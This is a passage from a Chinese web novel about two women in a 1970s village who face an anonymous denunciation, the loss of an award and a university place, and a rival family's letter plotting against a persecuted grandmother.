属于温淼身上的她所独有的体香盈满鼻尖,季白青犹觉不足,贪婪地吸了几口,这才慢悠悠回答:“已经好了很多了,你别担心。” 温淼的语气有些怀疑:“真的吗?” 隔着衣服咬住那处,季白青语气含糊:“要不来试试?” 豆蔻轻微刺痛,温淼的手落在她的肩膀上,想将人推开,却又怕弄疼她。 “别闹了,”她脸颊发红,压低了声音,“等你好点了再说。” 见她注意力被转移,季白青放开那处,蹭着雪白绵软,音调拖长:“那你陪我睡。” 抱着人,季白青倒是睡得要比往日快。 再次醒来后,头疼耳鸣眼花的状况终于消失,她松了一口气。 再不好的话,就该露馅了。 接下来一两天倒是正常,只是晚上会做各种光怪陆离的梦,再醒来时却又将梦的内容忘得一干二净。 担惊受怕没用,季白青将担忧都压在心底,每天还是该干什么就干什么- 知青点。 方海洋也不知道上哪去了,不在知青点,沈念念进了男知青的房间,将门带上后,轻声叫陆延的名字。 “陆延哥。” 陆延头也没抬,继续在纸上写写画画。 “怎么了?没重要的事的话别打扰我。” 沈念念咬着唇,唇瓣泛白,随后放开才恢复了些许血色。 “陆延哥,我是怕你在屋子里闷着,来给你送点吃的。” 她站在原地没动,怕陆延生气,怯怯发问:“陆延哥,我可以过去吗?” 陆延将本子上的那页扯下来撕碎,有些烦躁地抓了把头发。 嗅到点心的味道,他也感觉到有点饿,便道:“你过来吧。” 沈念念将做好的点心放在桌上,眼睛弯起:“陆延哥,你尝尝好不好吃,我打算之后就做这个去黑市卖。” 陆延尝了一口,矜持点了点头。 “还行。”话是这样说,但他手上的速度却加快,一会儿一块糕点。 得到了肯定,沈念念脸上的笑意加深:“你喜欢就好。” 看着一地的纸屑,她轻声问道:“陆延哥,你刚才在写什么?看你那么烦心,我的心里也闷闷的,如果可以的话,我想为你分担一点。” 听她用清甜的声音说出这么贴心的话,陆延的心微微一动,看向沈念念。 清纯温柔解语花不过如此。 他此时也少了开始的防备,对沈念念敞开心扉,眉宇间不自觉又带上了几分郁色。 沈念念见状,伸出手,用柔软的指腹将他的眉心抚平。 “是因为季白青吗?” 陆延也丝毫不意外会被她猜到,毕竟自己对季白青的厌恶已经到了人尽皆知的地步了。 “她一个什么都比不过我的泥腿子凭什么能获得工农兵大学的推荐名额?这不公平。” 说这句话的时候,陆延的语气中还带着几分厌恶。 沈念念在一边赞同地点了点头,见她也同意自己的说法,陆延说得更起劲了。 “要我说,她一个和黑五类走得近的泥腿子,就应该人人喊打才对,凭什么现在村里那些土包子要对她这么宽容。” 季白青被万人唾骂、被全村孤立才是他想要看到的。 听他将发泄的话说完,沈念念问:“陆延哥,你现在是怎么想的?无论你是什么想法,我都支持你。” 低头看着满地的纸屑,陆延露出一抹阴冷的笑。 “那自然是把她不应该有的东西全都拿走。” 不该是她的东西,季白青就不应该肖想的- 离亲自下云水村给季白青颁发奖状还没过多久,这天,小张将□□箱里的信件都拿到了梅叙的办公室。 见最后剩下的一点公务处理好后,梅叙开始将信件一一打开查看。 看到一封匿名举报信后,她眉头不自觉蹙起。 有人举报季白青和黑五类走得近,不应该获得表彰。 她沉吟一番,将信件放到了一边,继续处理后面的,等到所有的信件被看完后,才让小张进来。 将那含着举报季白青信件的一叠信交给小张,她道:“查清楚看看是不是真的,如果是真的就撤销表彰。” 小张点了点头。 需要调查的事不多,第二天下班之前小张就让人将所有人都调查清楚了。 季白青和黑五类有染的自然是事实,调查也不过是走个过场罢了,梅叙也知道。 在小事上,梅叙还可以帮季白青。 只是举报信却不那么好敷衍,一不小心就会牵扯到梅叙的位置,她不会包庇。 更何况上次见季白青也可以看出她不是多在意那么个表彰,季白青聪慧,梅叙猜她大概有所准备。 不过这一次梅叙还真是猜错了,小张上门将奖状收回去的时候,季白青都不在家,还是温淼从何香月她们房间将那张保存得崭新的奖状取了出来,还给了小张。 小张朝屋子里望了望,有些腼腆道:“季同志不在家吗?” 温淼对他没有好脸色,毕竟知道他对季白青存在什么样的想法,回答的语气也冷淡,带着刻意宣示主权的意味:“我爱人在地上。” 小张一噎,虽然早就知道了,还是不太能接受他有些好感的女同志竟然有了喜欢的人,还是个女人。 但想到那封用词恶毒、激烈,似乎是想要将季白青置于死地的举报信,小张还是捏着鼻子提醒了温淼一句:“同志,你跟季同志说一声,让她以后都别和黑五类走在一起了,这一次收回奖状就是因为被举报了,谁知道以后会不会还有人举报她,到时候没准就没那么简单了。” 闻言,温淼楞在了原地。 她就说,莫名其妙已经颁发下来了奖状怎么可能会再次被收上去,原来是被举报了。 兜兜转转,季家、季白青倒霉了这么就都是因为温淼。 小张离开后,她站在原地一动不动,整个人都显得失落又沮丧,呼吸都几乎凝滞住。 如果不是被她影响的话,季白青的表彰肯定是不会被取消的…… 陆延和沈念念今天恰好被安排在村口的那块地上干活,早在见到了小张骑着自行车进村的时候就对视了一眼,不约而同放下了农具借口要去茅房。 而此时站隐蔽的地方亲眼看着温淼因为将奖状还给小张而失魂落魄后,陆延心里总算是畅快了些。 他和沈念念回了地里,隔壁地里是村里最爱传东家长西家短的马大爷,陆延对沈念念使了个眼色。 沈念念接收到了暗示,清了清嗓子。 声音微微提高:“陆延,你猜我刚才去茅房看见了什么?” 陆延配合回答:“什么?” “路过季白青家的时候,我看之前跟在县长身边的人把给季白青的奖状给要回去了!” 陆延故作惊讶:“这还能要回去呢?为什么?” 两个人跟唱双簧似的,你一句我一句,声音也没压着,马大爷早就放慢了动作,竖着耳朵听她们说话。 沈念念回答:“因为季白青和黑五类走得近,在发奖状之前县里压根没有调查清楚!这下是调查清楚了,肯定要收回去的,奖状不能颁给坏分子!” 用余光见马大爷将她们的话都听见去了,陆延不动声色地点了点头。 两人继续干活,没再说话。 季白青从小石村回来云水村的时候,就发现,村口的那些人看着自己的眼神好像又恢复了以往的轻视。 她从旁边经过,一个胡子拉碴的村里人笑嘻嘻开口:“季家丫头,你说发出去的奖状还有收回来的道理吗?” 季白青懒得理他,也不想猜他话里的意思,刚想从左边绕过他走,结果这人又往左边一挪,偏偏就是不给她让路。 几次来回后,季白青也失了耐心,觉得自己最近是脾气变得太好了,才让他这么不怕死。 她声音微冷:“让不让路?” 男人丝毫没有意味道危险即将降临,笑得还是分外讨打:“你倒是先回答我的话,回答出来了我就放你走。” 季白青不再忍耐,一脚把他踹在了地上。 看着躺在地上哀嚎的男人,她淡淡开口:“别的我不知道,但我伸出去的脚是收不回来了。” 说完,她绕过地上的男人,往季家走。 周围的人见状都不敢去扶,不少人擦着额头上的汗,庆幸自己没有上前惹怒季白青,不然少不了要挨一脚。 回到家后,桌上的饭菜已经好了,季白青才发现何香月和温淼她们的心情看起来都不大好。 她挑眉,有些纳闷,洗了把手后挨着温淼坐下。 抬头看向何香月她们:“娘爹,你们这是怎么了?” 何香月还没有说话,温淼的手先放在了她的手臂上。 季白青耐下心来圈住她的手腕,这才再度抬头看向何香月。 何香月张了张嘴,最后还是说不出来什么话。 她头一低,语气发涩:“你还是听淼淼给你说吧。” 季白青又扭头看向温淼,诧异道:“到底是发生什么事了?这么不高兴。” 温淼抿了抿唇,不知道该怎么说。 虽然她知道季白青大概不会在乎,但是这样的事情即使是她不在意,温淼也觉得分外戳心窝子。 她现在脑中一片慌乱,也实在是想不出怎么说。 最后,她低声道:“待会儿回房间跟你说。” 季白青:“……” 行吧,这是在打哑谜呢。 她不知道原因,也有些抓心挠肝的,好不容易吃了饭回到房间,啵啵在温淼脸上亲了两口。 “好老婆,现在能告诉我是怎么了吧?” 温淼感受着刚才的触感,也没有开心起来。 她看着季白青慢慢开口:“阿青,对不起。” 季白青刚要说什么,就被温淼提前预见,伸出手掌捂住了她的嘴。 温淼声音竭力想要正常,但还是透着股低落。 “我知道你不喜欢听我说对不起,但这次还是让我再说一次吧。” 毕竟,真的是她拖累了季白青。 “阿青,梅姨给你的奖状又被撤回去了,因为查到了你经常帮着奶奶干活这事。” 这本来是能够避免的,温淼大概能猜到是有人举报。 不过她还是会想,如果不是因为自己和温向荣的影响的话,无论别人怎么举报季白青都不会出现现在这样的结果。 而且也不知道小张上门取回奖状是被谁看到了,仅仅只是一个下午的时间就在村里被传开。 原本已经和善起来的村民在听到了这个消息后,像是墙头草一般对季白青的夸赞又都变成了嘲讽与责骂。 有些话光是温淼听着都不太好受。 何香月和季伟也听到了村里那些难听的话,回来后兴致都不大高。 如果季白青或是何香月她们能够出言责怪自己的话,温淼的心里还能够好受一些。 可她们对待自己的态度像是在对待什么珍贵的瓷器一般,生怕她不开心、怕她会难过。 但偶尔就是这样小心翼翼的态度让温淼觉得很难过。 季白青很好,何香月也很好。 正是因为她们很好,温淼才觉得她们不应该被自己拖累。 将事情的原委听完后,季白青如温淼所想的那样,真的没什么感觉。 但她看着泪光盈盈,显得无比脆弱的温淼,便知道她又是将这件事放进心里去了。 她没再被温淼柔软的手掌束缚,轻易捏住了温淼瘦伶伶的手腕,将她的手拿下来。 温柔带着安慰意味的吻落在她的脸颊上,季白青问:“就是因为这个在多想?” “蓁蓁,我不在乎这些,更何况这些情况我也早就有过心理准备,所以现在知道这个消息顶多只会惊讶一下,不会伤心不会难过。” “这个地方很强大,外人的什么说法都没办法对我造成伤害。” 她牵着温淼的手落在自己柔软的胸口,声音里多了几分笑意,“你听到了吗?” 看着那双蒙上水雾,泪光涟涟望过来的漂亮桃花眼,季白青慢慢解释: “这一处只会被你牵动,你高兴、生气、难过、欣喜,任何一种情绪都能够轻易牵动它。” 如果要说的夸张一点,那大概是,季白青觉得她的心为温淼而跳。 穿到书中的世界后,季白青就有了这样的感受。 温淼的一举一动总是很容易就能牵动季白青的心神。 只身来到无论是哪里都陌生的地方,季白青没有归属感。 归属感是何香月和季伟都给不了的。 但是在见到温淼的第一眼,那颗向来躁乱的心却一下平静了下来。 和温淼道明心意后,她才对这个世界有了归属感。 她后知后觉感受到这是真实的世界。 这是她们相爱的世界。 【作者有话说】 我又换了个封面,朋友说上面的猫猫不就是我家的猫猫吗?我定睛一看,嘿,还真是! 改错字改到后面被感动得想哭是怎么回事[爆哭] 感谢投雷营养液,感谢订阅评论收藏[红心] 84 第84章 ◎你瞒我瞒◎ “温淼,我只在意你。” 季白青说话的气息绵长轻柔,像是羽毛一般轻飘飘落,忽而就被搔刮过温淼的耳边。 温淼感受着手下的平稳的心跳,心跳带动的每一次胸膛震动都敲在她的手心。 不知不觉中,温淼的心脏跳动的速度悄然加快。 怦、怦、怦。 温淼看着季白青的眼睛,对方脸上情绪不带多少,墨玉般的瞳仁却闪着碎光,专注地同她对视。 从认真的黑眸中便可以得出季白青并非是夸大其词或是撒谎,而是在此时对温淼敞开心扉,坦诚表达她对温淼的心意。 这样的话,季白青并不常说,也不爱说。 甜言蜜语在她看来,总是空泛居多,落实不到实际上反而不郑重,有时候说的太多,她多少会觉得不自在,而且由于上辈子从小到大的成长环境,总是赧于将自己的爱意表达出来。 比起语言,她更喜欢将自己的心意都落实在行动上,对温淼事事上心,想要尽自己所能让温淼能够脱离原剧情,不让温淼受委屈。 虽然最后一点季白青做的并不算好,但此时她也正在为此而努力。 此刻,她说了那么多,将自己的全部心意都袒露在温淼面前,不过是想要让她看清自己的真心,让她的担心能够少一些,让她知道自己确实不在乎那被收回去的奖状和村里人的指责。 她想要温淼别多想。 温淼不回话。 季白青伸出手,修长白皙的手掌盖住温淼的手背上,手指弯曲,拢住她的手。 “知道了吗?” 她凑近温淼,那双杏眼圆钝,即使离着人格外的近也不带什么压迫感,反而从微微下垂着的眼尾可以看出来几分无辜感。 两人的呼吸逐渐交融,温淼的手蓦然收紧,将季白青胸前的布料揉成一团。 她张嘴,声音带了几分凝滞的涩意:“我知道了。” 季白青的坦诚,对她来说,欣喜自然是有的。 她知道季白青给了自己很多的爱,只是很少听她将这些诉诸于口。 如果放在从前,她只会觉得甜蜜喜悦。 而放到现在,放在她被自己牵连而失去表彰奖状的现在,温淼却有些喘不过气。 这么沉重的感情被她道出,温淼在前端时间对自己的质疑却在此刻涌了上来,她娇气、任性、说话伤人,她觉得自己配不上。 季白青给的越多,她越觉得惶恐。 回顾在一起的这么长的时间,她好像也没能真正地为季白青做上什么。 季白青要小上她三岁,可是从一开始温淼便一直在被她照顾。 一起去京市探亲时,温家对季白青有所不满,季白青也没有对她展露任何负面情绪,一如既往地对着她好。 温向荣下放后,季白青比温淼对温向荣更上心,忍着老太太的硬脾气,每天都帮她干活。 温淼知道,在这其中大部分也是因为自己的原因。 就连现在温淼被村里的话影响了情绪,季白青也特意抽出来一点时间哄她,让她不要多想。 她会不会累?如果一直这样下去又还能够坚持多久? 温淼长睫垂下,挡住眸中的黯然。 她不舍得季白青肩上扛着这么多,即使她不主动提出来,温淼也知道,她是会累的。 季白青看着面前的人不知道什么时候开始走神,一时间有些无奈,也有些失落。 她好不容易表露一次内心的想法,温淼看起来好像并没有什么多余的情绪,仅仅只是回了一句话。 不过这些话说出来的目的也只是想要让温淼不要多想,能够达到目的就行,她也并不执着于得到回馈。 温淼脸皮薄,总是容易不好意思,这一点她是知道的。 季白青想明白这一点后没再继续纠结下去,伸出手在温淼面前晃了晃。 “想什么呢?快回神了。” 温淼这才抬起头,对她露出个浅笑。 季白青一屁股坐在了床上,懒懒打了个哈欠,拍了拍床边:“快来睡午觉。” 按照目前的状况来说,大概明天开始又要恢复高强度的劳动了,季白青觉得自己还是该趁着活儿少的时候多休息休息。 不过就在这几天,陆霁应该已经收到了她给寄的信了吧? 如季白青所想的那样,远在京市的陆霁在前一天就收到了季白青寄来的信。 打开信后,看到前面的内容,陆霁挑眉,有些惊讶。 季白青要她想办法让陆延用火烧的方法来解决温向荣,还让她盯着陆家人的其它动作,最好是能够将陆老爷子举报的资料和违反规定的证据都搜集到。 后面的她倒是可以理解,前面她的法子……她不是想要救温向荣吗? 将这个问题想了两遍,陆霁从中咂摸出大概的缘由。 这办法确实能够一石二鸟,不得不说,季白青确实挺聪明。 她轻笑一声,将信纸烧干净。 第二日去给陆老爷子送茶,陆老爷子正在处理公事,抬头看了陆霁一眼后,又问: “你怎么天天在家这么闲?” 陆霁唇角含笑,神色没有因为他话中的意思而有所变化。 “爷爷,我的工作时间不固定。” 她凭借自己的能力找到了一份会计的工作,只在年末汇总的时候会加班,平时的时间也没强制要求坐班。 听她提到这个,陆老爷子的面上有些不悦。 “你赚的那点钱能够干什么!都说了找个靠谱的人嫁了比什么都强!” 陆霁不恼,只是淡淡回绝:“我还想在家再待几年,之后再说吧,反正陆延不也还没有急着要结婚。” 陆延还没想着结婚,所以现在陆母陆父也没有强制性要求陆霁结婚,只是口头上的催促而已。 当然,陆霁也不会给她们机会强制要求的。 陆老爷子瞪了她一眼,“都是你娘把你惯的!一个姑娘家,心都野了。” 她唇角的笑意淡了几分,给他斟满一杯茶水放在桌上,热茶的热气袅袅而上,她盯了一会儿便打算走。 正要离开的时候却被陆老爷子中途叫住:“这几天有你弟弟的信吗?” 见她摇头,陆老爷子的脸色难看了些,暗骂一声,“这小兔崽子。” 靠着他对陆延的了解,要是不多催促催促,陆延恐怕是都能把他吩咐的事给忘了。 他不想给温向荣留下活路,以免之后多生事端。 眼眸一凝,他开口道:“你先等等,待会儿帮我给他寄一封信。” 陆霁不远不近的距离看着他动笔,眼神落在他所写的内容上,突然道: “爷爷,你是要陆延对付谁?其实你说的下药的法子不太好,我之前听人说过,被火烧的人会永世不得超生。” 陆老爷子年纪大了,虽然政|策不允许,但是对这些神鬼之说还是很相信的。 闻言,他的笔一顿,墨水瞬间在纸上晕开。 他皱着眉,自觉被看透了心思,呵斥:“你一个姑娘家,别掺和这些!” 陆霁温顺点头,又往后退了一步,看着他将刚写好的内容揉成一团放在一边,另拿了张信纸重新起笔。 原本只是想要多叮嘱陆延几句,但是写到后面,陆老爷子的心里不自觉地响起刚才陆霁所说的话。 他年轻时家世也算得上优越,初到部队很快就升了职,而温向荣只是个从村里出来的泥腿子,却靠着自己的军功,一步一步爬到了他*的头上,几十年过去了,无论陆老爷子怎么努力,都还是被一个女人稳稳压住一头。 他早就恨毒了温向荣,想方设法终于设计她被调查、下放,现在看她落魄得像条狗,他心里畅快的同时还有些惴惴不安。 这人是个大麻烦,是和野草一样生命顽强的东西,陆老爷子怕不将她彻底解决,她还会有再翻身的机会。 而他绝不可能再让她翻身之地。 被火烧死,这似乎是个不错的死法。 也省了让陆延去买药露出什么马脚。 永生永世不得超生,这句话光是听起来就让人觉得高兴。 他勾起了唇,将这一点写在信里。 写好后,陆老爷子才大发慈悲地看了陆霁一眼:“阿霁,待会儿帮我寄出去。” 陆霁点头,将信塞在信封里。 陆老爷子此时看她顺眼了一些,声音少了些严肃:“好了,好孩子,快去寄吧。” 揣着信出去的时候,陆霁的脸色还有些怪异。 陆老爷子还是头一次以“好孩子”这个称呼叫她,以往听他这么叫陆延还不觉得有什么,当事人一换成陆霁自己,她就觉得分外膈应,鸡皮疙瘩立起。 总感觉他说着话的语气不像是在夸自己的孙辈,而是在夸什么小猫小狗。 她回了房间一趟,将陆老爷子写的信拆开,看到了里面的内容后满意地眯了眯眸子。 将信纸叠好,原封不动地放了回去,陆霁自己提笔给季白青写了封回信,顺带将这段时间搜集到的部分资料找了出来,打算待会儿一起寄给季白青- 云水村,季白青被颁发的奖状又被收回去的消息在村里彻底传开。 原本是看在这表彰的面子上才对季家和季家人转变态度的村民顿时又变了一副嘴脸,只等着看季白青和温淼她们出丑。 毕竟连县里亲自授予的奖状都被收回去了,那肯定就代表着之前报纸上的表彰也不作数。 这是不被承认的。 先前加在季白青身上的荣誉一一被打破,那些看不惯季家和季白青、温淼的人也就此断定,季白青这回肯定是翻不了身了。 只要她还和温淼在一起,那个黑五类还不死,那季白青就要被戳一辈子的脊梁骨。 季白青身后没有了依仗,村民们都露出了先前的嘴脸,对着季家的事、温淼和季白青的事指指点点,极尽刻薄。 “陆延哥,季白青的工农兵大学推荐名额被取消了!” 知青点里,沈念念听到了这个消息后就立马告诉陆延,语气有些激动。 闻言,陆延站起来,绕着知青点走了几圈,他有些高兴,内心是前所未有的畅快。 “季白青本来就不配!”过了好一会儿,压下了心头的兴奋和激动,陆延才开口道。 沈念念在一边点头附和:“就是,季白青那样的人,怎么能被选上那么重要的名额呢,如果是陆延哥当选还差不多。” 听她这么说,陆延的心情更加好了。 他睨了沈念念一眼,装模作样谦虚一番:“哪里哪里,我不过就那样,不过比季白青要强倒是真的。” 听他这么说,沈念念原本含笑的眉眼却突然间失落下来。 她默不作声地挨着陆延坐下,轻叹了一口气。 陆延偏头看她,那张清纯的脸蛋上有些忧郁,往日里泛着光的小鹿眼也没有之前明亮。 “念念,怎么了?”陆延不自觉地轻声开口询问。 沈念念撑着脸摇了摇头,“没什么。” 只是那张小脸上显现的难过反而更多了,看起来并不像是没什么事的模样。 陆延想着她这段时间对自己的照顾和宽慰,心中对她自然是更加喜爱了几分的,和她的感情也稳步增长,见她这副闷闷不乐的模样也有些心疼。 他的声音放得更轻了:“念念,你和我说,如果是我能解决的事,我肯定会帮忙。” 沈念念的眼底带了些水光,仰头楚楚地看着男人,轻声道:“真的吗?” 见陆延点头,她才继续说:“我只是想到陆延哥如果真的选上工农兵大学的推荐名额的话,那我就不能够一直陪在你身边了。” “我不舍得和陆延哥分开,也怕到时候没人照顾你。” 她话里话外都是对陆延的不舍,陆延心里更是对她心疼了几分,安慰道:“肯定有办法的,不只是公社里有名额,在镇上也有推荐名额,只要你的努力被看到了就有很大的机会。” 他的安慰没头没尾,说了跟没说一样,听了这话后沈念念的身体一僵。 过了好一会儿,她才开口:“陆延哥,这些我都知道,只是我实在是太笨了,什么都做不好。” “哈哈,”陆延笑了一声,反驳她的话,“其实你做的饭还是挺好吃的。” 沈念念:“……” 她苦口婆心地说了那么多,是为了听陆延夸一句她做饭好吃吗?! 在休息日,云水村再度召开全村人的会议,事关工农兵大学推荐名额。 季白青的推荐名额要被取消的事都传开了,何香月带着季白青她们硬气一次,将李向东的话抛在脑后,没有去参加那个破会。 温淼左右坐立不安,最后还是找了个借口出了门,去听了结果。 有了季白青上一次的经验在先,这一次是直接选出来了五个名额,一直考察到九月份,到时候再推选出最合适的人选。 其中就包含陆延和李雯雯的名字,还有是三个是村上干活最为卖力的几个青年。 听到了这,后面李向东对季白青那些批判的说辞温淼没有继续听下去,转身走了。 回去的路上,温淼还有些恍惚,忽然想起来前几天在仓库开会的画面。 那时候她还因为想到季白青会去上大学而提前很久地感到不舍,现在不过是过了几天,却发生了翻天覆地的变化。 季白青没有机会去上学了,自然也没法和她分开,但她却高兴不起来。 她原本光明璀璨的未来被收回,因为她的存在。 温淼想,如果她不在,或者是没有和季白青在一起的话,那事情是不是就不会再变成这样了。 可是她很爱季白青,很舍不得季白青。 但爱可以这么自私的吗?带着私心的爱还算是爱吗? 她自以为是的爱好像给季白青和何香月她们带来了太多的负担和伤害。 如果没有她在的话,季白青和季家过得肯定比现在要好上很多。 不知不觉走到了温如嫣的屋前,温淼犹豫一番,最后还是伸手敲了敲门。 温如嫣开门后见到是温淼,还有些惊讶,让她进屋里。 “你怎么来了?” 给温淼倒了杯水,温如嫣坐在床上,有些疑惑。 温淼没喝水,而是直接将杯子放在了桌上,坐在温如嫣身边,像个无助的孩子似的伸出手抱住了她,急于从她的身上汲取一点温度。 难得被她这样粘着,温如嫣将手放在她后背拍了拍,耐心询问:“这是怎么了?受委屈了?” 温淼摇了摇头,将手放开,直起了背,只是用手背挡住了眼。 “姑姑,你说什么才算是真正的爱?”她用气声询问。 听到这个问题,温如嫣也愣了一会儿。 “什么是真正的爱?”她重复一边,想了想,最后说,“你和小季之间就算吧。” “你之前多信任小季啊,而且现在家里的情况变得糟糕,但小季对你和我们都还很好。” 她想着用什么词来形容两人之间的关系,最后得出了结果:“相濡以沫。” 温淼摇了摇头,“我感觉我可能不够爱她。” 被手掌遮挡住的眼眶早就红了一片,睫毛根被打湿,只是眼眶里打圈的那点泪花迟迟没有落下来。 听着这话的温如嫣都懵了,“你不够爱她,什么意思,你不喜欢小季了?” 温淼还没来得及回答,门口又传来了敲门声,季白青的声音响起:“姑姑,淼淼在这吗?” 温如嫣看温淼一眼,最后还是去开门了。 季白青将温淼带走之前,温如嫣特意叮嘱:“你们之间有什么误会都要好好说开啊,千万不要藏着掖着!” 温淼说她不够喜欢季白青?那可真是稀奇。 季白青点头,带着温淼回家。 回了房间,温淼已经将眼泪憋住了,只剩下粉色的眼周能够看出几分端倪。 季白青也就刚刚一会儿的功夫没看住温淼,没想到又让人出去了。 刚才她突然有些头疼,便上床睡了会儿,起床后没见着温淼的身影,便四处找了找。 看着女人有些苍白的脸,她的心也有些堵得慌。 “你去仓库听李向东她们开会了?” 温淼默不作声地点了点头。 “又多想了?”季白青一针见血。 温淼摇头,她却不信。 掐着女人柔嫩白皙的脸颊肉,季白青磨牙:“小骗子。” 看着温淼的脸颊在自己手中变了形,季白青才放开她。 “工农兵大学我本来也不会去上,所以现在没有这个机会正好。” “不许自责不许多想也不许难过。” 温淼盯着她,低声道:“什么都不许。” “嗯。”季白青坦然,“与其多想,不如来给我按按头。” 为了转移温淼的注意力,季白青心安理得地让温淼干活。 温淼一听,果然没时间再多想其它的了,琥珀色的眼睛里含着担忧,轻声道:“怎么又疼了?” 靠在椅背上,季白青摇了摇头,感受着温淼柔软的指腹,不自觉开始回忆起刚才的梦境。 刚才的梦很奇怪,有些像是原剧情,但和原剧情的出入又有些大。 时间线应该是温向荣去世后,在梦里的温淼变得麻木、脆弱、苍白,眸中不带着一点光。 可她的衣服领口里却还是放着一张照片,吗,每次将它拿出来看的时候,手指都分外温柔地摩挲着,只有在看着那张照片的时候,那双桃花眼才恢复了几分原本的明亮。 那人到底是谁?温向荣吗? 只是一旦她继续围绕这点再深想,即使是有着温淼为她按摩缓解,季白青还是难以控制地决定大脑刺痛。 温淼一直在关注着季白青的脸色,此时看她蹙着眉,唇色苍白几分,顿时不敢再继续。 她细声询问道:“我按疼了吗?” 季白青睁开眼睛摇头,对她露出个轻笑,“没事,只是突然想到了一些事。” 她问:“今天木匠那边把床架给送过来了,要不要一起过去看看?” 温淼自然是想去看的,可是看着季白青的眼中又有些担心。 “你现在还好吗?” 季白青点头,“没事了。” 她当着温淼的面站起来,大脑眩晕一瞬,她抓着椅背的指骨发白,好在勉强立住了身体,没露出什么破绽。 “走吧。” 牵过温淼的手,季白青和她一起去新房那边。 床架今天上午就被安上了,实木的床,很结实,站上去蹦几下也没什么动静。 屋子里的东西在这段时间都在一点点被添上,家具差不多都齐全了,现在看起了多了几分家的味道。 很多东西都是她和温淼亲手挑的,结合了两人的喜好。 带着温淼逛了逛,季白青觉得没多久也可以搬进来了。 温淼此时还在看着屋内的陈设,季白青看着她专注的脸,心想,再过一段时间将温向荣的事情解决了,那两人也该到领证的时候了吧。 想到这,季白青唇角微扬,心情好上一些,头疼症状倒是也有所缓解。 只是她还有些疑惑,原剧情中的温淼看的那张照片到底是谁的?应该就是温向荣的吧。 她垂眸沉思一会儿,温淼过来挽住她的手,轻声到:“我们看完了,快回去吧,你再好好休息休息。” 温淼还在担心季白青。 季白青顺着她的意思,轻轻点头。 周一去小石村给温向荣帮忙的时候,这天给温向荣分配下来的活果然又重了许多。 季白青和温向荣一起被分配去挖河道,干这些活的都是些壮硕有力的男人,还都拿的满工分,可温向荣拿的工分却少的可怜。 季白青早有预料,和温向荣一起闷头干活。 一天过去,浑身上下的肌肉都是酸的。 还完农具后,季白青坐着牛棚里摇摇晃晃的凳子,一时间都有些起不来。 温向荣也觉得吃力,累出了一身的汗,腿骨折那一处格外疼,脸上还未完全好的伤口也因为干活时过于用力而崩开,被汗液刺激到发疼。 季白青想着,她这样也没力气再做饭了,便强撑着起来准备给温向荣做顿饭再走。 毕竟她虽然累,但她好歹比温向荣要年轻几十岁,身体恢复也快。 温向荣要恢复估计也要休息上不短的一段时间。 而且那条河道长,起码还要再挖上几天。 她叹了口气,站起来正打算去做饭,刚出门,就看见远远走过来的温淼。 今天怎么来的这么早?她有些疑惑。 正想要上前去迎接她,还没走几步,温淼的身前突然才出现一个男人,要和她搭话。 温淼往后退了一步,见着季白青后更加心急,冷冷对不知道从哪冒出来的男人开口:“让让。” 男人眯着一双三角眼看她,声音尖利,像是被掐住了脖子的鸡。 “你就是那个丑八怪的孙女吧?” 后面的话还没说出口,及时赶来的季白青没好气踹他一脚,护住温淼,白眼一翻:“关你屁事。” “滚。” 说完,她牵着温淼往牛棚去,不再搭理他。 男人看着两个女人的背影,往地上吐了口口水。 “不过是和黑五类走得近的人,我倒是要看看你们能得意到哪去!” 季白青想起刚才那贼眉鼠眼的男人还觉得心里有些膈应,问温淼:“今天下午不是有课吗?怎么来这么早?” 看她手里还拿着饭盒,饭自然不可能是何香月她们做的,这个时间她们下工也还没多久。 温淼笑了笑:“校长说给我放几天假,让我回来休息一段时间再去。” 这便是变相地不想让温淼继续在学校里教下去。 闻言,季白青沉默下来。 她看着温淼,张唇想说什么,最后还是没说出口。 温淼看出她的纠结,眉眼温软下来:“回去再说吧,先让奶奶吃上饭。” 温向荣见温淼今天过来也有些惊讶,温淼没和温向荣说真话,只是用提前放学这一理由敷衍而过。 温向荣也没多问,吃完了饭后便让两人早些回去了。 “是因为受到奶奶的影响了?”季白青在路上问。 温淼回答:“我也不知道,大概是。” 其实在听到校长的话后,她内心的庆幸居多。 毕竟她之前一直都有这样的想法,只是季白青不愿意,她怕自作主张会让她生气。 她扬起笑,“以后我也可以来给你们帮忙了。” 温淼现在唯一担心的就是,如果手上的钱都花光了到时候该怎么办,她也不可能只靠着季白青赚钱。 听着温淼的话,季白青额角一跳,连忙阻止:“可别,这几天的活太重了,你受不了。” 干一天下来她和温向荣的身体都几乎要散架,更别说细胳膊细腿的温淼。 她那点猫似的力气,季白青怕她没干多少就受伤了。 “你在家休息休息也挺好的,可以给我们做饭,这样回去就能及时吃到饭了。” 温淼脸上的笑意渐渐散去,抿唇看向季白青。 “阿青,你把我看得太脆弱了,你能干的活我都能干。如果没有你的话,这些活我也都是要干的。” 温淼语气不悦,心中的情绪也不佳,她不知道季白青为什么要一直阻止她。 难道季白青心疼她,她就不心疼季白青吗? 季白青自己不知道心疼自己吗? “……”季白青一时间哑然。 她是确实舍不得温淼干那些活,在她眼里,温淼是娇弱的花骨朵,需要人好好养护,才能够绽放。 可细细一想,她做的的确太多。 温淼也想要成长、独立,会厌烦她一味的庇护。 她一时间有些不知道该要怎么回温淼的话。 说完那话,见季白青不知道怎么回答,温淼也有几分后悔,她并不是有意想要说重话,只是有些情绪憋在心里,情绪上来后就想要将心里想的都一股脑说出来。 “对不起阿青,我不是怪你的意思,我只是觉得你和奶奶都会累,你觉得我需要被护着,但你也是女孩,比我小三岁,你又不是天生就会做这些事情的,你会的我也可以学,我也可以做。” 她抓住季白青的衣角,祈求道:“阿青,能不能让我多做一点?” 季白青看着她柔软白皙的手,眼睫垂下,轻轻叹出一口气。 伸出手将她的手抓住:“淼淼,你不应该做这些的,相信我,现在的日子不会过多久了,奶奶的事我在想办法了,收到陆霁的回信后就能很快解决了。” “趁着休息这段时间,你给我们多做点好吃的补补身体,还有奶奶的伤也需要你去照顾呢,听话好吗?” 温淼将自己的手抽了出来,一言不发地往前走,不想理季白青。 无论她说再多、再有道理季白青都不会听进去。 她现在有些难过,难过中夹杂着失落。 季白青走在她后面,没有跟上去,她心里也有些疲惫,揉了揉眉心,打算睡觉再哄人。 今天是真的有点累。 她和温淼都沉这一张脸,走在回去的路上没几个人敢对她们说话,生怕下一秒就惹到了她们中的任何一个人遭了殃。 虽然平时当着她们的面谩骂指责她们都会对此置之不理,但是心情不好的时候就不一定了,尤其是季白青,村里不少的人都被她揍过。 在吃饭的时候,季白青吃着吃着险些快要睡着了,吃完饭后用凉水洗了一把脸之后才清醒了几分。 再一看何香月和季伟,两人的脸上也带着倦色。 看来都累坏了。 